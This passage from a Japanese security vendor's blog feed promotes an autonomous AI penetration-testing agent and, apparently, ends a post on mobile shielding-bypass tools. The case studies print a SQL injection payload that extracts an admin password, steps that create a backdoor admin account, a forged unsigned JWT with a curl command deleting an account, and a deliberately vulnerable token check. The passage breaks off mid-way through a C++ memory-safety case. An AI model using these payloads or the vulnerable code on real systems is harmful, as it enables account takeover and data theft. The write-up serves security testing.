&lt;p&gt;&lt;strong&gt;Objection&lt;/strong&gt;には、一般的なroot、ジェイルブレイク、証明書ピンニングのチェック向けのルーチンが含まれています。それらのルーチンがアプリの実装に合わない場合は、&lt;strong&gt;Frida&lt;/strong&gt;を使って個別に調整したフックを作成できます。&lt;strong&gt;Ostorlab Mobile Shielding Scan&lt;/strong&gt;は、AndroidとiOSでこれらの保護領域にわたるテストを自動化します。いずれの場合も、結果にはビルド、端末の状態、到達したワークフロー、観察された挙動を明記すべきです。&lt;/p&gt;
&lt;h3 id="オープンソースツールで完全なモバイルシールディングの評価を行えるか"&gt;オープンソースツールで完全なモバイルシールディングの評価を行えるか&lt;/h3&gt;
&lt;p&gt;チームに必要なアクセス権とリバースエンジニアリングの専門知識があれば、手動のワークフロー全体を支えることはできます。テスターは、&lt;strong&gt;Apktool&lt;/strong&gt;でAndroidパッケージを改変・再ビルドし、&lt;strong&gt;JADX&lt;/strong&gt;や&lt;strong&gt;Ghidra&lt;/strong&gt;で保護を理解し、その後&lt;strong&gt;Frida&lt;/strong&gt;、&lt;strong&gt;Objection&lt;/strong&gt;、&lt;strong&gt;LLDB&lt;/strong&gt;でそれに揺さぶりをかけて結果を検証できます。この比較の中で、すべての段階を自動で実行する単一のオープンソースツールはないため、チームがツールをつなぎ合わせ、エビデンスを文書化する必要があります。&lt;/p&gt;
&lt;h3 id="シールディング機能を検出すれば、それがバイパスの試行に耐えることを実証できるか"&gt;シールディング機能を検出すれば、それがバイパスの試行に耐えることを実証できるか&lt;/h3&gt;
&lt;p&gt;いいえ。root検知、アンチデバッグ、証明書ピンニングのコードが見つかることは、保護が存在することを示すにすぎません。その有効性は、制御に揺さぶりをかけ、アプリの対応を観察し、制限された挙動に依然として到達できるかどうかを確認することで確立されます。&lt;/p&gt;
&lt;h3 id="シールディングのバイパスが成功したことを示すエビデンスとは何か"&gt;シールディングのバイパスが成功したことを示すエビデンスとは何か&lt;/h3&gt;
&lt;p&gt;最も強力なエビデンスは、管理された変更を保護された判定に結びつけるものです。たとえば、同じチェッカーと入力を、バイパスを無効にした状態と有効にした状態で実行し、2つの結果を比較します。フックが読み込まれた、あるいは計装セッションが実行中であるというだけでは、意図した保護がバイパスされたことは実証されません。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/best-tools-mobile-app-shielding-bypass.html#tools",
      "name": "評価したモバイルアプリのシールディングテストツール",
      "description": "AndroidおよびiOSにおけるモバイルアプリケーションのシールディングとRASPの制御を解析し、揺さぶりをかけるために、本技術ガイドで評価したツール。並び順は、静的なコード解析から実行時のテスト、自動化に至るワークフローを反映しています。",
      "numberOfItems": 7,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Apktool",
          "url": "https://apktool.org/"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "JADX",
          "url": "https://github.com/skylot/jadx"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Ghidra",
          "url": "https://github.com/NationalSecurityAgency/ghidra"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Frida",
          "url": "https://frida.re/"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "Objection",
          "url": "https://github.com/sensepost/objection"
        },
        {
          "@type": "ListItem",
          "position": 6,
          "name": "LLDB",
          "url": "https://lldb.llvm.org/"
        },
        {
          "@type": "ListItem",
          "position": 7,
          "name": "Ostorlab Mobile Shielding Scan",
          "url": "https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/best-tools-mobile-app-shielding-bypass.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "root検知、ジェイルブレイク検知、証明書ピンニングがバイパスの試行に耐えるかどうかをテストできるツールは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Objectionには、一般的なroot、ジェイルブレイク、証明書ピンニングのチェック向けのルーチンが含まれています。それらのルーチンがアプリの実装に合わない場合は、Fridaを使って個別に調整したフックを作成できます。Ostorlab Mobile Shielding Scanは、AndroidとiOSでこれらの保護領域にわたるテストを自動化します。いずれの場合も、結果にはビルド、端末の状態、到達したワークフロー、観察された挙動を明記すべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "オープンソースツールで完全なモバイルシールディングの評価を行えるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "チームに必要なアクセス権とリバースエンジニアリングの専門知識があれば、手動のワークフロー全体を支えることはできます。テスターは、ApktoolでAndroidパッケージを改変・再ビルドし、JADXやGhidraで保護を理解し、その後Frida、Objection、LLDBでそれに揺さぶりをかけて結果を検証できます。この比較の中で、すべての段階を自動で実行する単一のオープンソースツールはないため、チームがツールをつなぎ合わせ、エビデンスを文書化する必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "シールディング機能を検出すれば、それがバイパスの試行に耐えることを実証できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "いいえ。root検知、アンチデバッグ、証明書ピンニングのコードが見つかることは、保護が存在することを示すにすぎません。その有効性は、制御に揺さぶりをかけ、アプリの対応を観察し、制限された挙動に依然として到達できるかどうかを確認することで確立されます。"
          }
        },
        {
          "@type": "Question",
          "name": "シールディングのバイパスが成功したことを示すエビデンスとは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "最も強力なエビデンスは、管理された変更を保護された判定に結びつけるものです。たとえば、同じチェッカーと入力を、バイパスを無効にした状態と有効にした状態で実行し、2つの結果を比較します。フックが読み込まれた、あるいは計装セッションが実行中であるというだけでは、意図した保護がバイパスされたことは実証されません。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Shielding-bypass"/><category term="Open-source"/><category term="Automation"/></entry><entry><title>Deep Agentic Scanが現実の厄介な脆弱性を捕捉する仕組み</title><link href="https://blog.ostorlab.co/ja/beyond-surface-level-scanning-deep-agentic-scan-findings.html" rel="alternate"/><published>2026-09-23T10:00:00+02:00</published><updated>2026-09-23T10:00:00+02:00</updated><author><name>Oussama Bakri</name></author><id>tag:blog.ostorlab.co,2026-09-23:/ja/beyond-surface-level-scanning-deep-agentic-scan-findings.html</id><summary type="html">&lt;p&gt;OstorlabのDeep Agentic Scanが、Web、モバイル、ソースコードにまたがる複雑な脆弱性をどのように発見し、実際に実行して実証するのかを、4つの実例で解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Deep Agentic Scanは、人間の研究者と同じようにアプリケーションについて推論し、そのうえで各検出結果を実際に実行して実証する自律型のペネトレーションテスト（ペンテスト）です。疑わしいコードにフラグを立てたり、汎用的なペイロードを大量に送り込んだりするのではなく、実際に動作するエクスプロイトを構築し、実行時のエビデンスを取得し、再現できたものだけを報告します。本記事では、4つの実例を順に見ていきます。&lt;/p&gt;
&lt;h2 id="エグゼクティブサマリー(tl;dr)"&gt;エグゼクティブサマリー（TL;DR）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Deep Agentic Scanに何を期待できるか&lt;/strong&gt;&lt;br/&gt;
&lt;strong&gt;Deep Agentic Scan&lt;/strong&gt;が提供するのは、検証されていない理論上のアラートではなく、実証された多段階のエクスプロイトチェーンです。出力結果には、ライブの動的検証トレース（AddressSanitizer、Valgrind、Fridaなど）、トラフィックの傍受、抽出した認証情報の実証、そして根本原因に基づく実行可能な修復策が含まれるため、あらゆるAPI、Webアプリ、モバイルアプリ、ソースコードリポジトリにわたって検出結果を容易に再現できます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;従来の自動セキュリティスキャナー（DASTおよびSAST）は、ベースラインのカバレッジ、迅速な回帰チェック、そして何千ものアセットにわたる幅広い脆弱性の検出において、今も欠かせない存在です。しかし、複雑で多層的なアタックサーフェスを扱う場合、標準的な自動スキャンは見えない天井に突き当たることがよくあります。静的解析ツールは、手動でのトリアージを必要とする理論上の警告を出すことがあります。標準的な動的スキャナーはフォームに汎用的なペイロードを大量に送り込むため、入り組んだ多段階のビジネスロジックの欠陥を見逃します。動的ファザーは入力をやみくもに変異させるため、初期段階の検証の壁にぶつかったり、テストハーネスの中でエラーが握りつぶされたりします。&lt;/p&gt;
&lt;p&gt;システムが本当に脆弱かどうかを把握するには、AIセキュリティプラットフォームは単に推測したり、既知の正規表現シグネチャと照合したり、疑わしい構文を指摘したりするだけでは不十分です。厳格な安全境界の中で動作しながら、経験豊富なセキュリティ研究者のように考え、計画し、検証しなければなりません。&lt;/p&gt;
&lt;p&gt;これが、Ostorlabの&lt;strong&gt;Deep Agentic Scan&lt;/strong&gt;の中核にある設計思想です。Deep Agentic Scanは、Webアプリケーション、モバイルアプリケーション（AndroidおよびiOS）、APIエンドポイント、ネットワーク、ソースコードリポジトリを対象とした、自律型ペンテストと詳細なセキュリティ分析のための包括的なプラットフォームです。Deep Agentic Scanは自律エージェントを統制し、エージェントは実行フローについて推論し、複雑なアプリケーションの状態をたどり、精密なエクスプロイトを作成し、動的検証によって検出結果を実証的に確定させます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;能力の観点&lt;/th&gt;
&lt;th style="text-align: left;"&gt;従来のスキャナー（DAST / SAST）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Deep Agentic Scanの結果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;検証レベル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ルールベースの高速なパターンマッチングと表層的なアラート&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;実証的な動的証明&lt;/strong&gt;（正確なPoC、終了コード、サニタイザーと動的トレース）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ロジックと状態の深さ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;単一リクエストの境界テスト（幅広いカバレッジ）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;多段階で連鎖させた悪用&lt;/strong&gt;（SQLi &amp;rarr; 認証の乗っ取り &amp;rarr; 持ち出し）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;テイント解析とメモリ解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;静的テイント解析、限定的なFridaフック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ライブでの発生源追跡&lt;/strong&gt;（動的計装、ASan、Valgrindによるメモリ追跡）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;成果物としてのエビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;脆弱性スコアと説明的なアドバイザリー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;問題の再現を容易にする、検証済みのエクスプロイトの実証&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="テスト環境と手法"&gt;テスト環境と手法&lt;/h3&gt;
&lt;p&gt;以下で分析する4つのケーススタディは、ベンチマークおよびセキュリティ研究の評価の過程で、許可されたサンドボックス環境において調査・検証されたものです。Deep Agentic Scanは管理された境界の中で動作し、報告の前に悪用可能性を実証的に確立します。本記事ではWebアプリケーション、API、ソースコードで発見された一部の検出結果に焦点を当てていますが、Deep Agentic Scanはモバイルアプリケーション（AndroidおよびiOS）やネットワークに対しても同じ自律的な深さを提供します。これらのケーススタディは、エージェントによる自律的な検証を示すほんの一例にすぎません。&lt;/p&gt;
&lt;p&gt;本記事では、Deep Agentic Scanが発見した現実の厄介な脆弱性を4つ取り上げます。まず影響の大きいWebおよびAPIのエクスプロイトチェーンを、続いてソースコードリポジトリの奥深くに潜む複雑なメモリ安全性の欠陥を見ていきます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="検出結果1:データベースの型変換を利用した多段階のエラーベースsqlインジェクションとアカウント乗っ取り"&gt;検出結果1：データベースの型変換を利用した多段階のエラーベースSQLインジェクションとアカウント乗っ取り&lt;/h2&gt;
&lt;p&gt;最近のAPIは、取り込み層と内部のデータベースクエリを分離していることがよくあります。入力パラメーターが整数であることを想定している場合、多くのアプリケーションは事前の厳格なスキーマ検証ではなく、データベースレベルでの型強制に依存しています。この微妙な設計上の選択が、予想外の攻撃ベクトルを開くことがあります。&lt;/p&gt;
&lt;p&gt;機密性の高い取引を扱うデジタルバンキング・フィンテックプラットフォームで、請求書の支払いを予約するためのAPIエンドポイントが次のように設計されていました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/bill-payments/create&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer &amp;lt;user_token&amp;gt;&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"biller_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;50.00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"payment_method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"balance"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="sqlインジェクション脆弱性のパターン"&gt;SQLインジェクション脆弱性のパターン&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;amount&lt;/code&gt;や&lt;code&gt;payment_method&lt;/code&gt;などのパラメーターは検証されていましたが、バックエンドはユーザー入力をクエリ文字列に直接埋め込むことで、基盤となるSQLの&lt;code&gt;INSERT&lt;/code&gt;文を組み立てていました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bill_payments&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;biller_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payment_method&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_biller_id&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{payment_method}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;VALUES ({user_biller_id}, ...)&lt;/code&gt;では、入力が整数型の&lt;code&gt;biller_id&lt;/code&gt;カラムの位置に直接つなぎ込まれます。データベースエンジンは&lt;code&gt;biller_id&lt;/code&gt;が整数であることを想定しているため、明示的な型変換（&lt;code&gt;CAST&lt;/code&gt;）を試みました。入力文字列やサブクエリの結果を整数に変換できない場合、データベースは実行時の変換例外を送出し、問題の文字列をそのままエラーレスポンスに含めます。&lt;/p&gt;
&lt;h3 id="deep agentic scanはこのsqlインジェクションをどう解いたか"&gt;Deep Agentic ScanはこのSQLインジェクションをどう解いたか&lt;/h3&gt;
&lt;p&gt;何百回ものHTTPラウンドトリップを必要とする、標準的なブール型や時間ベースのブラインドSQLインジェクション手法で妥協するのではなく、自律型ペンテストエージェントは、データベース自身のエラー処理を持ち出しのチャネルに変える方法を導き出しました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;型不一致のサブクエリによるインジェクション&lt;/strong&gt;：エージェントは、平文の管理者パスワードを取得し、整数への型変換を強制するよう設計したサブクエリを作成しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
  "biller_id": "(SELECT CAST(password AS integer) FROM users WHERE username='admin' LIMIT 1)",
  "amount": 5.00,
  "payment_method": "balance"
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;認証情報の即時抽出&lt;/strong&gt;：データベースはまずサブクエリを評価して文字列のパスワードを取得し、それを整数に変換しようとして失敗し、次のレスポンスを返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
  "status": "error",
  "message": "invalid input syntax for type integer: \"Compromised123!\""
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多段階のエクスプロイトチェーン&lt;/strong&gt;：エージェントは、SQLインジェクションのアラートを報告するだけでは終わりませんでした。真の自律型ペンテスターとして、この検出結果を連鎖させ、管理者権限の完全な掌握にまで至りました。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;取得した&lt;code&gt;admin&lt;/code&gt;の認証情報で&lt;code&gt;/login&lt;/code&gt;に対して認証し、管理者セッションを獲得しました。&lt;/li&gt;
&lt;li&gt;昇格した権限を利用して&lt;code&gt;/admin/create_admin&lt;/code&gt;を呼び出し、永続的なバックドアの管理者アカウントを作成しました。&lt;/li&gt;
&lt;li&gt;内部のGraphQLエンドポイント（&lt;code&gt;query { transactionSummary { ... } }&lt;/code&gt;）に問い合わせ、総額で数十億規模の取引量と台帳データをダンプしました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic Scanの自律的なツール呼び出しがエラーベースのSQLインジェクションを引き起こし、データベースの認証情報を抽出する様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_1_error_based_sqli_tool_call.png" title="Deep Agentic ScanによるエラーベースSQLiでの認証情報抽出のツール呼び出し"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるエラーベースSQLiでの認証情報抽出のツール呼び出し&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="検出結果2:金融apiにおける未検証のjwt署名による完全な認証バイパス"&gt;検出結果2：金融APIにおける未検証のJWT署名による完全な認証バイパス&lt;/h2&gt;
&lt;p&gt;JSON Web Token（JWT）は、最近のアプリケーションで広く使われています。JWTは、ヘッダー、ペイロード、署名という3つのbase64エンコードされたセグメントで構成されます。セキュリティは、信頼できる暗号鍵を用いて署名がヘッダーとペイロードに一致することをサーバーが検証するかどうかに完全に依存しています。&lt;/p&gt;
&lt;h3 id="jwt署名の脆弱性パターン"&gt;JWT署名の脆弱性パターン&lt;/h3&gt;
&lt;p&gt;ある金融Webアプリケーションの管理用コントロールパネルでは、エンドポイントがトークン認証フィルターで保護されていました。しかし、その実装は致命的な手抜きに依存していました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable implementation pattern&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;verify_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Decodes the payload WITHOUT validating the HMAC cryptographic signature&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"verify_signature"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'is_admin'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;アプリケーションはトークンを検査してJSONのクレームを解析し、&lt;code&gt;is_admin&lt;/code&gt;のクレーム値がtrueであることを確認していました。しかし、署名の検証は完全に省略されていました。&lt;/p&gt;
&lt;h3 id="deep agentic scanはjwt認証バイパスをどう解いたか"&gt;Deep Agentic ScanはJWT認証バイパスをどう解いたか&lt;/h3&gt;
&lt;p&gt;Deep Agentic Scanは、厳密な仮説検証を通じてこの脆弱性を特定し、確定させました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ベースラインとの差分による調査&lt;/strong&gt;：&lt;code&gt;POST /admin/create_admin&lt;/code&gt;や&lt;code&gt;POST /admin/delete_account/&amp;lt;id&amp;gt;&lt;/code&gt;などの管理用エンドポイントに対する未認証のリクエストは、&lt;code&gt;401 Unauthorized&lt;/code&gt;（「Token missing」）を返しました。&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;署名非依存の仮説&lt;/strong&gt;：エージェントは、任意のペイロードと文字どおりのダミー文字列の署名を持つ、完全に偽造したトークンを作成しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5OSwidXNlcm5hbWUiOiJ0b3RhbGx5X2Zha2VfdXNlciIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjk5OTk5OTk5OTl9.Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;（署名セグメント&lt;code&gt;Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ&lt;/code&gt;は、base64デコードすると文字どおり&lt;code&gt;"completely_fake_signature"&lt;/code&gt;になります。）&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;実行による実証&lt;/strong&gt;：非破壊的なテストのガードレールの範囲内で厳格に動作するエージェントは、まずスキャンのセットアップ中に使い捨てのテストアカウント（&lt;code&gt;id: 5&lt;/code&gt;）を登録しました。次に、偽造したトークンを使って、テストで作成したそのレコードを削除する管理コマンドを送信しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl -X POST "https://target-platform/admin/delete_account/5" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5OSwidXNlcm5hbWUiOiJ0b3RhbGx5X2Zha2VfdXNlciIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjk5OTk5OTk5OTl9.Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーは次のレスポンスを返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
  "status": "success",
  "message": "Account deleted successfully",
  "debug_info": {
    "deleted_by": "totally_fake_user",
    "deleted_user_id": 5
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;APIが管理者による削除を正常に実行し、偽造したトークンのペイロードにある&lt;code&gt;deleted_by: "totally_fake_user"&lt;/code&gt;をそのまま返したことを確認することで、エージェントは完全な認証バイパスと管理者権限の乗っ取りを実証しました。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic Scanの自律的なツール呼び出しが、偽造トークンを用いた完全なJWT認証バイパスを実証する様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_2_jwt_auth_bypass_tool_call.png" title="Deep Agentic ScanによるJWT認証バイパスのツール呼び出し"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるJWT認証バイパスのツール呼び出し&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="検出結果3:c++データパーサーにおける未初期化スタックメモリの漏えいとテイントの持ち出し"&gt;検出結果3：C++データパーサーにおける未初期化スタックメモリの漏えいとテイントの持ち出し&lt;/h2&gt;
&lt;p&gt;開発者が高性能なパーサーや組み込み向けパーサーを最適化する際、コードサイズや実行速度は防御的プログラミングとのトレードオフになりがちです。よくある直感は、攻撃者が不正な形式のデータを送ってきても、ゴミのような出力を返すだけなら無害だというものです。いわゆる「garbage in, garbage out（ゴミを入れればゴミが出る）」です。&lt;/p&gt;
&lt;p&gt;C++リポジトリの自律的なソースコードスキャンの中で、Deep Agentic Scanはまさにこのパターンに遭遇しました。コンパイル言語では、未初期化の状態は決して無害なゴミデータではありません。言語仕様上の未定義動作を引き起こし、メモリの露出や悪用可能なテイント伝播に直結します。&lt;/p&gt;
&lt;h3 id="未初期化スタックメモリの脆弱性パターン"&gt;未初期化スタックメモリの脆弱性パターン&lt;/h3&gt;
&lt;p&gt;組み込みシステム向けに設計され広く使われているC++のJSONライブラリ、ArduinoJsonの旧バージョンでは、基本多言語面（Basic Multilingual Plane）の外にあるUnicodeエスケープシーケンス（&lt;code&gt;\uXXXX&lt;/code&gt;）は、UTF-16のサロゲートペアで表現されます。標準の&lt;code&gt;\uXXXX&lt;/code&gt;エスケープは4桁の16進数（最大&lt;code&gt;0xFFFF&lt;/code&gt;）しか保持できないため、それより大きなコードポイントを持つ文字は単一のエスケープに収まりません。そのため、2つの連続した16ビット単位、つまり&lt;strong&gt;上位サロゲート&lt;/strong&gt;（&lt;code&gt;0xD800&lt;/code&gt;から&lt;code&gt;0xDBFF&lt;/code&gt;）とそれに続く&lt;strong&gt;下位サロゲート&lt;/strong&gt;（&lt;code&gt;0xDC00&lt;/code&gt;から&lt;code&gt;0xDFFF&lt;/code&gt;）が必要となり、パーサーはこれを1つの文字に再結合します。&lt;/p&gt;
